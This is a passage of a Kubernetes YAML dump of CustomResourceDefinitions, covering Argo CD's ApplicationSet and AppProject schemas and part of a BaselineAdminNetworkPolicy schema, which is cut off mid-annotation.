                        items:
                          type: string
                        type: array
                      jsonPointers:
                        items:
                          type: string
                        type: array
                      name:
                        type: string
                    type: object
                  type: array
                preservedFields:
                  properties:
                    annotations:
                      items:
                        type: string
                      type: array
                    labels:
                      items:
                        type: string
                      type: array
                  type: object
                strategy:
                  properties:
                    rollingSync:
                      properties:
                        steps:
                          items:
                            properties:
                              matchExpressions:
                                items:
                                  properties:
                                    key:
                                      type: string
                                    operator:
                                      type: string
                                    values:
                                      items:
                                        type: string
                                      type: array
                                  type: object
                                type: array
                              maxUpdate:
                                anyOf:
                                - type: integer
                                - type: string
                                x-kubernetes-int-or-string: true
                            type: object
                          type: array
                      type: object
                    type:
                      type: string
                  type: object
                syncPolicy:
                  properties:
                    applicationsSync:
                      enum:
                      - create-only
                      - create-update
                      - create-delete
                      - sync
                      type: string
                    preserveResourcesOnDeletion:
                      type: boolean
                  type: object
                template:
                  properties:
                    metadata:
                      properties:
                        annotations:
                          additionalProperties:
                            type: string
                          type: object
                        finalizers:
                          items:
                            type: string
                          type: array
                        labels:
                          additionalProperties:
                            type: string
                          type: object
                        name:
                          type: string
                        namespace:
                          type: string
                      type: object
                    spec:
                      properties:
                        destination:
                          properties:
                            name:
                              type: string
                            namespace:
                              type: string
                            server:
                              type: string
                          type: object
                        ignoreDifferences:
                          items:
                            properties:
                              group:
                                type: string
                              jqPathExpressions:
                                items:
                                  type: string
                                type: array
                              jsonPointers:
                                items:
                                  type: string
                                type: array
                              kind:
                                type: string
                              managedFieldsManagers:
                                items:
                                  type: string
                                type: array
                              name:
                                type: string
                              namespace:
                                type: string
                            required:
                            - kind
                            type: object
                          type: array
                        info:
                          items:
                            properties:
                              name:
                                type: string
                              value:
                                type: string
                            required:
                            - name
                            - value
                            type: object
                          type: array
                        project:
                          type: string
                        revisionHistoryLimit:
                          format: int64
                          type: integer
                        source:
                          properties:
                            chart:
                              type: string
                            directory:
                              properties:
                                exclude:
                                  type: string
                                include:
                                  type: string
                                jsonnet:
                                  properties:
                                    extVars:
                                      items:
                                        properties:
                                          code:
                                            type: boolean
                                          name:
                                            type: string
                                          value:
                                            type: string
                                        required:
                                        - name
                                        - value
                                        type: object
                                      type: array
                                    libs:
                                      items:
                                        type: string
                                      type: array
                                    tlas:
                                      items:
                                        properties:
                                          code:
                                            type: boolean
                                          name:
                                            type: string
                                          value:
                                            type: string
                                        required:
                                        - name
                                        - value
                                        type: object
                                      type: array
                                  type: object
                                recurse:
                                  type: boolean
                              type: object
                            helm:
                              properties:
                                apiVersions:
                                  items:
                                    type: string
                                  type: array
                                fileParameters:
                                  items:
                                    properties:
                                      name:
                                        type: string
                                      path:
                                        type: string
                                    type: object
                                  type: array
                                ignoreMissingValueFiles:
                                  type: boolean
                                kubeVersion:
                                  type: string
                                namespace:
                                  type: string
                                parameters:
                                  items:
                                    properties:
                                      forceString:
                                        type: boolean
                                      name:
                                        type: string
                                      value:
                                        type: string
                                    type: object
                                  type: array
                                passCredentials:
                                  type: boolean
                                releaseName:
                                  type: string
                                skipCrds:
                                  type: boolean
                                skipSchemaValidation:
                                  type: boolean
                                skipTests:
                                  type: boolean
                                valueFiles:
                                  items:
                                    type: string
                                  type: array
                                values:
                                  type: string
                                valuesObject:
                                  type: object
                                  x-kubernetes-preserve-unknown-fields: true
                                version:
                                  type: string
                              type: object
                            kustomize:
                              properties:
                                apiVersions:
                                  items:
                                    type: string
                                  type: array
                                commonAnnotations:
                                  additionalProperties:
                                    type: string
                                  type: object
                                commonAnnotationsEnvsubst:
                                  type: boolean
                                commonLabels:
                                  additionalProperties:
                                    type: string
                                  type: object
                                components:
                                  items:
                                    type: string
                                  type: array
                                forceCommonAnnotations:
                                  type: boolean
                                forceCommonLabels:
                                  type: boolean
                                ignoreMissingComponents:
                                  type: boolean
                                images:
                                  items:
                                    type: string
                                  type: array
                                kubeVersion:
                                  type: string
                                labelIncludeTemplates:
                                  type: boolean
                                labelWithoutSelector:
                                  type: boolean
                                namePrefix:
                                  type: string
                                nameSuffix:
                                  type: string
                                namespace:
                                  type: string
                                patches:
                                  items:
                                    properties:
                                      options:
                                        additionalProperties:
                                          type: boolean
                                        type: object
                                      patch:
                                        type: string
                                      path:
                                        type: string
                                      target:
                                        properties:
                                          annotationSelector:
                                            type: string
                                          group:
                                            type: string
                                          kind:
                                            type: string
                                          labelSelector:
                                            type: string
                                          name:
                                            type: string
                                          namespace:
                                            type: string
                                          version:
                                            type: string
                                        type: object
                                    type: object
                                  type: array
                                replicas:
                                  items:
                                    properties:
                                      count:
                                        anyOf:
                                        - type: integer
                                        - type: string
                                        x-kubernetes-int-or-string: true
                                      name:
                                        type: string
                                    required:
                                    - count
                                    - name
                                    type: object
                                  type: array
                                version:
                                  type: string
                              type: object
                            name:
                              type: string
                            path:
                              type: string
                            plugin:
                              properties:
                                env:
                                  items:
                                    properties:
                                      name:
                                        type: string
                                      value:
                                        type: string
                                    required:
                                    - name
                                    - value
                                    type: object
                                  type: array
                                name:
                                  type: string
                                parameters:
                                  items:
                                    properties:
                                      array:
                                        items:
                                          type: string
                                        type: array
                                      map:
                                        additionalProperties:
                                          type: string
                                        type: object
                                      name:
                                        type: string
                                      string:
                                        type: string
                                    type: object
                                  type: array
                              type: object
                            ref:
                              type: string
                            repoURL:
                              type: string
                            targetRevision:
                              type: string
                          required:
                          - repoURL
                          type: object
                        sourceHydrator:
                          properties:
                            drySource:
                              properties:
                                path:
                                  type: string
                                repoURL:
                                  type: string
                                targetRevision:
                                  type: string
                              required:
                              - path
                              - repoURL
                              - targetRevision
                              type: object
                            hydrateTo:
                              properties:
                                targetBranch:
                                  type: string
                              required:
                              - targetBranch
                              type: object
                            syncSource:
                              properties:
                                path:
                                  type: string
                                targetBranch:
                                  type: string
                              required:
                              - path
                              - targetBranch
                              type: object
                          required:
                          - drySource
                          - syncSource
                          type: object
                        sources:
                          items:
                            properties:
                              chart:
                                type: string
                              directory:
                                properties:
                                  exclude:
                                    type: string
                                  include:
                                    type: string
                                  jsonnet:
                                    properties:
                                      extVars:
                                        items:
                                          properties:
                                            code:
                                              type: boolean
                                            name:
                                              type: string
                                            value:
                                              type: string
                                          required:
                                          - name
                                          - value
                                          type: object
                                        type: array
                                      libs:
                                        items:
                                          type: string
                                        type: array
                                      tlas:
                                        items:
                                          properties:
                                            code:
                                              type: boolean
                                            name:
                                              type: string
                                            value:
                                              type: string
                                          required:
                                          - name
                                          - value
                                          type: object
                                        type: array
                                    type: object
                                  recurse:
                                    type: boolean
                                type: object
                              helm:
                                properties:
                                  apiVersions:
                                    items:
                                      type: string
                                    type: array
                                  fileParameters:
                                    items:
                                      properties:
                                        name:
                                          type: string
                                        path:
                                          type: string
                                      type: object
                                    type: array
                                  ignoreMissingValueFiles:
                                    type: boolean
                                  kubeVersion:
                                    type: string
                                  namespace:
                                    type: string
                                  parameters:
                                    items:
                                      properties:
                                        forceString:
                                          type: boolean
                                        name:
                                          type: string
                                        value:
                                          type: string
                                      type: object
                                    type: array
                                  passCredentials:
                                    type: boolean
                                  releaseName:
                                    type: string
                                  skipCrds:
                                    type: boolean
                                  skipSchemaValidation:
                                    type: boolean
                                  skipTests:
                                    type: boolean
                                  valueFiles:
                                    items:
                                      type: string
                                    type: array
                                  values:
                                    type: string
                                  valuesObject:
                                    type: object
                                    x-kubernetes-preserve-unknown-fields: true
                                  version:
                                    type: string
                                type: object
                              kustomize:
                                properties:
                                  apiVersions:
                                    items:
                                      type: string
                                    type: array
                                  commonAnnotations:
                                    additionalProperties:
                                      type: string
                                    type: object
                                  commonAnnotationsEnvsubst:
                                    type: boolean
                                  commonLabels:
                                    additionalProperties:
                                      type: string
                                    type: object
                                  components:
                                    items:
                                      type: string
                                    type: array
                                  forceCommonAnnotations:
                                    type: boolean
                                  forceCommonLabels:
                                    type: boolean
                                  ignoreMissingComponents:
                                    type: boolean
                                  images:
                                    items:
                                      type: string
                                    type: array
                                  kubeVersion:
                                    type: string
                                  labelIncludeTemplates:
                                    type: boolean
                                  labelWithoutSelector:
                                    type: boolean
                                  namePrefix:
                                    type: string
                                  nameSuffix:
                                    type: string
                                  namespace:
                                    type: string
                                  patches:
                                    items:
                                      properties:
                                        options:
                                          additionalProperties:
                                            type: boolean
                                          type: object
                                        patch:
                                          type: string
                                        path:
                                          type: string
                                        target:
                                          properties:
                                            annotationSelector:
                                              type: string
                                            group:
                                              type: string
                                            kind:
                                              type: string
                                            labelSelector:
                                              type: string
                                            name:
                                              type: string
                                            namespace:
                                              type: string
                                            version:
                                              type: string
                                          type: object
                                      type: object
                                    type: array
                                  replicas:
                                    items:
                                      properties:
                                        count:
                                          anyOf:
                                          - type: integer
                                          - type: string
                                          x-kubernetes-int-or-string: true
                                        name:
                                          type: string
                                      required:
                                      - count
                                      - name
                                      type: object
                                    type: array
                                  version:
                                    type: string
                                type: object
                              name:
                                type: string
                              path:
                                type: string
                              plugin:
                                properties:
                                  env:
                                    items:
                                      properties:
                                        name:
                                          type: string
                                        value:
                                          type: string
                                      required:
                                      - name
                                      - value
                                      type: object
                                    type: array
                                  name:
                                    type: string
                                  parameters:
                                    items:
                                      properties:
                                        array:
                                          items:
                                            type: string
                                          type: array
                                        map:
                                          additionalProperties:
                                            type: string
                                          type: object
                                        name:
                                          type: string
                                        string:
                                          type: string
                                      type: object
                                    type: array
                                type: object
                              ref:
                                type: string
                              repoURL:
                                type: string
                              targetRevision:
                                type: string
                            required:
                            - repoURL
                            type: object
                          type: array
                        syncPolicy:
                          properties:
                            automated:
                              properties:
                                allowEmpty:
                                  type: boolean
                                enabled:
                                  type: boolean
                                prune:
                                  type: boolean
                                selfHeal:
                                  type: boolean
                              type: object
                            managedNamespaceMetadata:
                              properties:
                                annotations:
                                  additionalProperties:
                                    type: string
                                  type: object
                                labels:
                                  additionalProperties:
                                    type: string
                                  type: object
                              type: object
                            retry:
                              properties:
                                backoff:
                                  properties:
                                    duration:
                                      type: string
                                    factor:
                                      format: int64
                                      type: integer
                                    maxDuration:
                                      type: string
                                  type: object
                                limit:
                                  format: int64
                                  type: integer
                              type: object
                            syncOptions:
                              items:
                                type: string
                              type: array
                          type: object
                      required:
                      - destination
                      - project
                      type: object
                  required:
                  - metadata
                  - spec
                  type: object
                templatePatch:
                  type: string
              required:
              - generators
              - template
              type: object
            status:
              properties:
                applicationStatus:
                  items:
                    properties:
                      application:
                        type: string
                      lastTransitionTime:
                        format: date-time
                        type: string
                      message:
                        type: string
                      status:
                        type: string
                      step:
                        type: string
                      targetRevisions:
                        items:
                          type: string
                        type: array
                    required:
                    - application
                    - message
                    - status
                    - step
                    - targetRevisions
                    type: object
                  type: array
                conditions:
                  items:
                    properties:
                      lastTransitionTime:
                        format: date-time
                        type: string
                      message:
                        type: string
                      reason:
                        type: string
                      status:
                        type: string
                      type:
                        type: string
                    required:
                    - message
                    - reason
                    - status
                    - type
                    type: object
                  type: array
                resources:
                  items:
                    properties:
                      group:
                        type: string
                      health:
                        properties:
                          lastTransitionTime:
                            format: date-time
                            type: string
                          message:
                            type: string
                          status:
                            type: string
                        type: object
                      hook:
                        type: boolean
                      kind:
                        type: string
                      name:
                        type: string
                      namespace:
                        type: string
                      requiresDeletionConfirmation:
                        type: boolean
                      requiresPruning:
                        type: boolean
                      status:
                        type: string
                      syncWave:
                        format: int64
                        type: integer
                      version:
                        type: string
                    type: object
                  type: array
              type: object
          required:
          - metadata
          - spec
          type: object
      served: true
      storage: true
      subresources:
        status: {}
  status:
    acceptedNames:
      kind: ApplicationSet
      listKind: ApplicationSetList
      plural: applicationsets
      shortNames:
      - appset
      - appsets
      singular: applicationset
    conditions:
    - lastTransitionTime: "2025-09-21T20:15:14Z"
      message: no conflicts found
      reason: NoConflicts
      status: "True"
      type: NamesAccepted
    - lastTransitionTime: "2025-09-21T20:15:18Z"
      message: the initial names have been accepted
      reason: InitialNamesAccepted
      status: "True"
      type: Established
    storedVersions:
    - v1alpha1
- apiVersion: apiextensions.k8s.io/v1
  kind: CustomResourceDefinition
  metadata:
    annotations:
      helm.sh/resource-policy: keep
      meta.helm.sh/release-name: argocd
      meta.helm.sh/release-namespace: argocd
    creationTimestamp: "2025-09-21T20:15:12Z"
    generation: 1
    labels:
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: appprojects.argoproj.io
      app.kubernetes.io/part-of: argocd
    name: appprojects.argoproj.io
    resourceVersion: "74958"
    uid: 7df94d02-d144-4d69-847a-2dc45c61d07a
  spec:
    conversion:
      strategy: None
    group: argoproj.io
    names:
      kind: AppProject
      listKind: AppProjectList
      plural: appprojects
      shortNames:
      - appproj
      - appprojs
      singular: appproject
    scope: Namespaced
    versions:
    - name: v1alpha1
      schema:
        openAPIV3Schema:
          description: |-
            AppProject provides a logical grouping of applications, providing controls for:
            * where the apps may deploy to (cluster whitelist)
            * what may be deployed (repository whitelist, resource whitelist/blacklist)
            * who can access these applications (roles, OIDC group claims bindings)
            * and what they can do (RBAC policies)
            * automation access to these roles (JWT tokens)
          properties:
            apiVersion:
              description: |-
                APIVersion defines the versioned schema of this representation of an object.
                Servers should convert recognized schemas to the latest internal value, and
                may reject unrecognized values.
                More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources
              type: string
            kind:
              description: |-
                Kind is a string value representing the REST resource this object represents.
                Servers may infer this from the endpoint the client submits requests to.
                Cannot be updated.
                In CamelCase.
                More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds
              type: string
            metadata:
              type: object
            spec:
              description: AppProjectSpec is the specification of an AppProject
              properties:
                clusterResourceBlacklist:
                  description: ClusterResourceBlacklist contains list of blacklisted
                    cluster level resources
                  items:
                    description: |-
                      GroupKind specifies a Group and a Kind, but does not force a version.  This is useful for identifying
                      concepts during lookup stages without having partially valid types
                    properties:
                      group:
                        type: string
                      kind:
                        type: string
                    required:
                    - group
                    - kind
                    type: object
                  type: array
                clusterResourceWhitelist:
                  description: ClusterResourceWhitelist contains list of whitelisted
                    cluster level resources
                  items:
                    description: |-
                      GroupKind specifies a Group and a Kind, but does not force a version.  This is useful for identifying
                      concepts during lookup stages without having partially valid types
                    properties:
                      group:
                        type: string
                      kind:
                        type: string
                    required:
                    - group
                    - kind
                    type: object
                  type: array
                description:
                  description: Description contains optional project description
                  maxLength: 255
                  type: string
                destinationServiceAccounts:
                  description: DestinationServiceAccounts holds information about
                    the service accounts to be impersonated for the application sync
                    operation for each destination.
                  items:
                    description: ApplicationDestinationServiceAccount holds information
                      about the service account to be impersonated for the application
                      sync operation.
                    properties:
                      defaultServiceAccount:
                        description: DefaultServiceAccount to be used for impersonation
                          during the sync operation
                        type: string
                      namespace:
                        description: Namespace specifies the target namespace for
                          the application's resources.
                        type: string
                      server:
                        description: Server specifies the URL of the target cluster's
                          Kubernetes control plane API.
                        type: string
                    required:
                    - defaultServiceAccount
                    - server
                    type: object
                  type: array
                destinations:
                  description: Destinations contains list of destinations available
                    for deployment
                  items:
                    description: ApplicationDestination holds information about the
                      application's destination
                    properties:
                      name:
                        description: Name is an alternate way of specifying the target
                          cluster by its symbolic name. This must be set if Server
                          is not set.
                        type: string
                      namespace:
                        description: |-
                          Namespace specifies the target namespace for the application's resources.
                          The namespace will only be set for namespace-scoped resources that have not set a value for .metadata.namespace
                        type: string
                      server:
                        description: Server specifies the URL of the target cluster's
                          Kubernetes control plane API. This must be set if Name is
                          not set.
                        type: string
                    type: object
                  type: array
                namespaceResourceBlacklist:
                  description: NamespaceResourceBlacklist contains list of blacklisted
                    namespace level resources
                  items:
                    description: |-
                      GroupKind specifies a Group and a Kind, but does not force a version.  This is useful for identifying
                      concepts during lookup stages without having partially valid types
                    properties:
                      group:
                        type: string
                      kind:
                        type: string
                    required:
                    - group
                    - kind
                    type: object
                  type: array
                namespaceResourceWhitelist:
                  description: NamespaceResourceWhitelist contains list of whitelisted
                    namespace level resources
                  items:
                    description: |-
                      GroupKind specifies a Group and a Kind, but does not force a version.  This is useful for identifying
                      concepts during lookup stages without having partially valid types
                    properties:
                      group:
                        type: string
                      kind:
                        type: string
                    required:
                    - group
                    - kind
                    type: object
                  type: array
                orphanedResources:
                  description: OrphanedResources specifies if controller should monitor
                    orphaned resources of apps in this project
                  properties:
                    ignore:
                      description: Ignore contains a list of resources that are to
                        be excluded from orphaned resources monitoring
                      items:
                        description: OrphanedResourceKey is a reference to a resource
                          to be ignored from
                        properties:
                          group:
                            type: string
                          kind:
                            type: string
                          name:
                            type: string
                        type: object
                      type: array
                    warn:
                      description: Warn indicates if warning condition should be created
                        for apps which have orphaned resources
                      type: boolean
                  type: object
                permitOnlyProjectScopedClusters:
                  description: PermitOnlyProjectScopedClusters determines whether
                    destinations can only reference clusters which are project-scoped
                  type: boolean
                roles:
                  description: Roles are user defined RBAC roles associated with this
                    project
                  items:
                    description: ProjectRole represents a role that has access to
                      a project
                    properties:
                      description:
                        description: Description is a description of the role
                        type: string
                      groups:
                        description: Groups are a list of OIDC group claims bound
                          to this role
                        items:
                          type: string
                        type: array
                      jwtTokens:
                        description: JWTTokens are a list of generated JWT tokens
                          bound to this role
                        items:
                          description: JWTToken holds the issuedAt and expiresAt values
                            of a token
                          properties:
                            exp:
                              format: int64
                              type: integer
                            iat:
                              format: int64
                              type: integer
                            id:
                              type: string
                          required:
                          - iat
                          type: object
                        type: array
                      name:
                        description: Name is a name for this role
                        type: string
                      policies:
                        description: Policies Stores a list of casbin formatted strings
                          that define access policies for the role in the project
                        items:
                          type: string
                        type: array
                    required:
                    - name
                    type: object
                  type: array
                signatureKeys:
                  description: SignatureKeys contains a list of PGP key IDs that commits
                    in Git must be signed with in order to be allowed for sync
                  items:
                    description: SignatureKey is the specification of a key required
                      to verify commit signatures with
                    properties:
                      keyID:
                        description: The ID of the key in hexadecimal notation
                        type: string
                    required:
                    - keyID
                    type: object
                  type: array
                sourceNamespaces:
                  description: SourceNamespaces defines the namespaces application
                    resources are allowed to be created in
                  items:
                    type: string
                  type: array
                sourceRepos:
                  description: SourceRepos contains list of repository URLs which
                    can be used for deployment
                  items:
                    type: string
                  type: array
                syncWindows:
                  description: SyncWindows controls when syncs can be run for apps
                    in this project
                  items:
                    description: SyncWindow contains the kind, time, duration and
                      attributes that are used to assign the syncWindows to apps
                    properties:
                      andOperator:
                        description: UseAndOperator use AND operator for matching
                          applications, namespaces and clusters instead of the default
                          OR operator
                        type: boolean
                      applications:
                        description: Applications contains a list of applications
                          that the window will apply to
                        items:
                          type: string
                        type: array
                      clusters:
                        description: Clusters contains a list of clusters that the
                          window will apply to
                        items:
                          type: string
                        type: array
                      description:
                        description: Description of the sync that will be applied
                          to the schedule, can be used to add any information such
                          as a ticket number for example
                        type: string
                      duration:
                        description: Duration is the amount of time the sync window
                          will be open
                        type: string
                      kind:
                        description: Kind defines if the window allows or blocks syncs
                        type: string
                      manualSync:
                        description: ManualSync enables manual syncs when they would
                          otherwise be blocked
                        type: boolean
                      namespaces:
                        description: Namespaces contains a list of namespaces that
                          the window will apply to
                        items:
                          type: string
                        type: array
                      schedule:
                        description: Schedule is the time the window will begin, specified
                          in cron format
                        type: string
                      timeZone:
                        description: TimeZone of the sync that will be applied to
                          the schedule
                        type: string
                    type: object
                  type: array
              type: object
            status:
              description: AppProjectStatus contains status information for AppProject
                CRs
              properties:
                jwtTokensByRole:
                  additionalProperties:
                    description: JWTTokens represents a list of JWT tokens
                    properties:
                      items:
                        items:
                          description: JWTToken holds the issuedAt and expiresAt values
                            of a token
                          properties:
                            exp:
                              format: int64
                              type: integer
                            iat:
                              format: int64
                              type: integer
                            id:
                              type: string
                          required:
                          - iat
                          type: object
                        type: array
                    type: object
                  description: JWTTokensByRole contains a list of JWT tokens issued
                    for a given role
                  type: object
              type: object
          required:
          - metadata
          - spec
          type: object
      served: true
      storage: true
  status:
    acceptedNames:
      kind: AppProject
      listKind: AppProjectList
      plural: appprojects
      shortNames:
      - appproj
      - appprojs
      singular: appproject
    conditions:
    - lastTransitionTime: "2025-09-21T20:15:12Z"
      message: no conflicts found
      reason: NoConflicts
      status: "True"
      type: NamesAccepted
    - lastTransitionTime: "2025-09-21T20:15:12Z"
      message: the initial names have been accepted
      reason: InitialNamesAccepted
      status: "True"
      type: Established
    storedVersions:
    - v1alpha1
- apiVersion: apiextensions.k8s.io/v1
  kind: CustomResourceDefinition
  metadata:
    annotations:
      api-approved.kubernetes.io: https://github.com/kubernetes-sigs/network-policy-api/pull/30
      kubectl.kubernetes.io/last-applied-configuration: |
        {"apiVersion":"apiextensions.k8s.io/v1","kind":"CustomResourceDefinition","metadata":{"annotations":{"api-approved.kubernetes.io":"https://github.com/kubernetes-sigs/network-policy-api/pull/30","policy.networking.k8s.io/bundle-version":"v0.1.1","policy.networking.k8s.io/channel":"experimental"},"creationTimestamp":null,"name":"baselineadminnetworkpolicies.policy.networking.k8s.io"},"spec":{"group":"policy.networking.k8s.io","names":{"kind":"BaselineAdminNetworkPolicy","listKind":"BaselineAdminNetworkPolicyList","plural":"baselineadminnetworkpolicies","shortNames":["banp"],"singular":"baselineadminnetworkpolicy"},"scope":"Cluster","versions":[{"additionalPrinterColumns":[{"jsonPath":".metadata.creationTimestamp","name":"Age","type":"date"}],"name":"v1alpha1","schema":{"openAPIV3Schema":{"description":"BaselineAdminNetworkPolicy is a cluster level resource that is part of the\nAdminNetworkPolicy API.","properties":{"apiVersion":{"description":"APIVersion defines the versioned schema of this representation of an object.\nServers should convert recognized schemas to the latest internal value, and\nmay reject unrecognized values.\nMore info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources","type":"string"},"kind":{"description":"Kind is a string value representing the REST resource this object represents.\nServers may infer this from the endpoint the client submits requests to.\nCannot be updated.\nIn CamelCase.\nMore info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds","type":"string"},"metadata":{"type":"object"},"spec":{"description":"Specification of the desired behavior of BaselineAdminNetworkPolicy.","properties":{"egress":{"description":"Egress is the list of Egress rules to be applied to the selected pods if\nthey are not matched by any AdminNetworkPolicy or NetworkPolicy rules.\nA total of 100 Egress rules will be allowed in each BANP instance.\nThe relative precedence of egress rules within a single BANP object\nwill be determined by the order in which the rule is written.\nThus, a rule that appears at the top of the egress rules\nwould take the highest precedence.\nBANPs with no egress rules do not affect egress traffic.\n\n\nSupport: Core","items":{"description":"BaselineAdminNetworkPolicyEgressRule describes an action to take on a particular\nset of traffic originating from pods selected by a BaselineAdminNetworkPolicy's\nSubject field.\n\u003cnetwork-policy-api:experimental:validation\u003e","properties":{"action":{"description":"Action specifies the effect this rule will have on matching traffic.\nCurrently the following actions are supported:\nAllow: allows the selected traffic\nDeny: denies the selected traffic\n\n\nSupport: Core","enum":["Allow","Deny"],"type":"string"},"name":{"description":"Name is an identifier for this rule, that may be no more than 100 characters\nin length. This field should be used by the implementation to help\nimprove observability, readability and error-reporting for any applied\nBaselineAdminNetworkPolicies.\n\n\nSupport: Core","maxLength":100,"type":"string"},"ports":{"description":"Ports allows for matching traffic based on port and protocols.\nThis field is a list of destination ports for the outgoing egress traffic.\nIf Ports is not set then the rule does not filter traffic via port.","items":{"description":"AdminNetworkPolicyPort describes how to select network ports on pod(s).\nExactly one field must be set.","maxProperties":1,"minProperties":1,"properties":{"namedPort":{"description":"NamedPort selects a port on a pod(s) based on name.\n\n\nSupport: Extended\n\n\n\u003cnetwork-policy-api:experimental\u003e","type":"string"},"portNumber":{"description":"Port selects a port on a pod(s) based on number.\n\n\nSupport: Core","properties":{"port":{"description":"Number defines a network port value.\n\n\nSupport: Core","format":"int32","maximum":65535,"minimum":1,"type":"integer"},"protocol":{"default":"TCP","description":"Protocol is the network protocol (TCP, UDP, or SCTP) which traffic must\nmatch. If not specified, this field defaults to TCP.\n\n\nSupport: Core","type":"string"}},"required":["port","protocol"],"type":"object"},"portRange":{"description":"PortRange selects a port range on a pod(s) based on provided start and end\nvalues.\n\n\nSupport: Core","properties":{"end":{"description":"End defines a network port that is the end of a port range, the End value\nmust be greater than Start.\n\n\nSupport: Core","format":"int32","maximum":65535,"minimum":1,"type":"integer"},"protocol":{"default":"TCP","description":"Protocol is the network protocol (TCP, UDP, or SCTP) which traffic must\nmatch. If not specified, this field defaults to TCP.\n\n\nSupport: Core","type":"string"},"start":{"description":"Start defines a network port that is the start of a port range, the Start\nvalue must be less than End.\n\n\nSupport: Core","format":"int32","maximum":65535,"minimum":1,"type":"integer"}},"required":["end","start"],"type":"object"}},"type":"object"},"maxItems":100,"type":"array"},"to":{"description":"To is the list of destinations whose traffic this rule applies to.\nIf any AdminNetworkPolicyEgressPeer matches the destination of outgoing\ntraffic then the specified action is applied.\nThis field must be defined and contain at least one item.\n\n\nSupport: Core","items":{"description":"AdminNetworkPolicyEgressPeer defines a peer to allow traffic to.\nExactly one of the selector pointers must be set for a given peer. If a\nconsumer observes none of its fields are set, they must assume an unknown\noption has been specified and fail closed.","maxProperties":1,"minProperties":1,"properties":{"namespaces":{"description":"Namespaces defines a way to select all pods within a set of Namespaces.\nNote that host-networked pods are not included in this type of peer.\n\n\nSupport: Core","properties":{"matchExpressions":{"description":"matchExpressions is a list of label selector requirements. The requirements are ANDed.","items":{"description":"A label selector requirement is a selector that contains values, a key, and an operator that\nrelates the key and values.","properties":{"key":{"description":"key is the label key that the selector applies to.","type":"string"},"operator":{"description":"operator represents a key's relationship to a set of values.\nValid operators are In, NotIn, Exists and DoesNotExist.","type":"string"},"values":{"description":"values is an array of string values. If the operator is In or NotIn,\nthe values array must be non-empty. If the operator is Exists or DoesNotExist,\nthe values array must be empty. This array is replaced during a strategic\nmerge patch.","items":{"type":"string"},"type":"array"}},"required":["key","operator"],"type":"object"},"type":"array"},"matchLabels":{"additionalProperties":{"type":"string"},"description":"matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels\nmap is equivalent to an element of matchExpressions, whose key field is \"key\", the\noperator is \"In\", and the values array contains only \"value\". The requirements are ANDed.","type":"object"}},"type":"object","x-kubernetes-map-type":"atomic"},"networks":{"description":"Networks defines a way to select peers via CIDR blocks.\nThis is intended for representing entities that live outside the cluster,\nwhich can't be selected by pods, namespaces and nodes peers, but note\nthat cluster-internal traffic will be checked against the rule as\nwell. So if you Allow or Deny traffic to `\"0.0.0.0/0\"`, that will allow\nor deny all IPv4 pod-to-pod traffic as well. If you don't want that,\nadd a rule that Passes all pod traffic before the Networks rule.\n\n\nEach item in Networks should be provided in the CIDR format and should be\nIPv4 or IPv6, for example \"10.0.0.0/8\" or \"fd00::/8\".\n\n\nNetworks can have upto 25 CIDRs specified.\n\n\nSupport: Extended\n\n\n\u003cnetwork-policy-api:experimental\u003e","items":{"description":"CIDR is an IP address range in CIDR notation (for example, \"10.0.0.0/8\" or \"fd00::/8\").\nThis string must be validated by implementations using net.ParseCIDR\nTODO: Introduce CEL CIDR validation regex isCIDR() in Kube 1.31 when it is available.","maxLength":43,"type":"string","x-kubernetes-validations":[{"message":"CIDR must be either an IPv4 or IPv6 address. IPv4 address embedded in IPv6 addresses are not supported","rule":"self.contains(':') != self.contains('.')"}]},"maxItems":25,"minItems":1,"type":"array","x-kubernetes-list-type":"set"},"nodes":{"description":"Nodes defines a way to select a set of nodes in\nthe cluster. This field follows standard label selector\nsemantics; if present but empty, it selects all Nodes.\n\n\nSupport: Extended\n\n\n\u003cnetwork-policy-api:experimental\u003e","properties":{"matchExpressions":{"description":"matchExpressions is a list of label selector requirements. The requirements are ANDed.","items":{"description":"A label selector requirement is a selector that contains values, a key, and an operator that\nrelates the key and values.","properties":{"key":{"description":"key is the label key that the selector applies to.","type":"string"},"operator":{"description":"operator represents a key's relationship to a set of values.\nValid operators are In, NotIn, Exists and DoesNotExist.","type":"string"},"values":{"description":"values is an array of string values. If the operator is In or NotIn,\nthe values array must be non-empty. If the operator is Exists or DoesNotExist,\nthe values array must be empty. This array is replaced during a strategic\nmerge patch.","items":{"type":"string"},"type":"array"}},"required":["key","operator"],"type":"object"},"type":"array"},"matchLabels":{"additionalProperties":{"type":"string"},"description":"matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels\nmap is equivalent to an element of matchExpressions, whose key field is \"key\", the\noperator is \"In\", and the values array contains only \"value\". The requirements are ANDed.","type":"object"}},"type":"object","x-kubernetes-map-type":"atomic"},"pods":{"description":"Pods defines a way to select a set of pods in\na set of namespaces. Note that host-networked pods\nare not included in this type of peer.\n\n\nSupport: Core","properties":{"namespaceSelector":{"description":"NamespaceSelector follows standard label selector semantics; if empty,\nit selects all Namespaces.","properties":{"matchExpressions":{"description":"matchExpressions is a list of label selector requirements. The requirements are ANDed.","items":{"description":"A label selector requirement is a selector that contains values, a key, and an operator that\nrelates the key and values.","properties":{"key":{"description":"key is the label key that the selector applies to.","type":"string"},"operator":{"description":"operator represents a key's relationship to a set of values.\nValid operators are In, NotIn, Exists and DoesNotExist.","type":"string"},"values":{"description":"values is an array of string values. If the operator is In or NotIn,\nthe values array must be non-empty. If the operator is Exists or DoesNotExist,\nthe values array must be empty. This array is replaced during a strategic\nmerge patch.","items":{"type":"string"},"type":"array"}},"required":["key","operator"],"type":"object"},"type":"array"},"matchLabels":{"additionalProperties":{"type":"string"},"description":"matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels\nmap is equivalent to an element of matchExpressions, whose key field is \"key\", the\noperator is \"In\", and the values array contains only \"value\". The requirements are ANDed.","type":"object"}},"type":"object","x-kubernetes-map-type":"atomic"},"podSelector":{"description":"PodSelector is used to explicitly select pods within a namespace; if empty,\nit selects all Pods.","properties":{"matchExpressions":{"description":"matchExpressions is a list of label selector requirements. The requirements are ANDed.","items":{"description":"A label selector requirement is a selector that contains values, a key, and an operator that\nrelates the key and values.","properties":{"key":{"description":"key is the label key that the selector applies 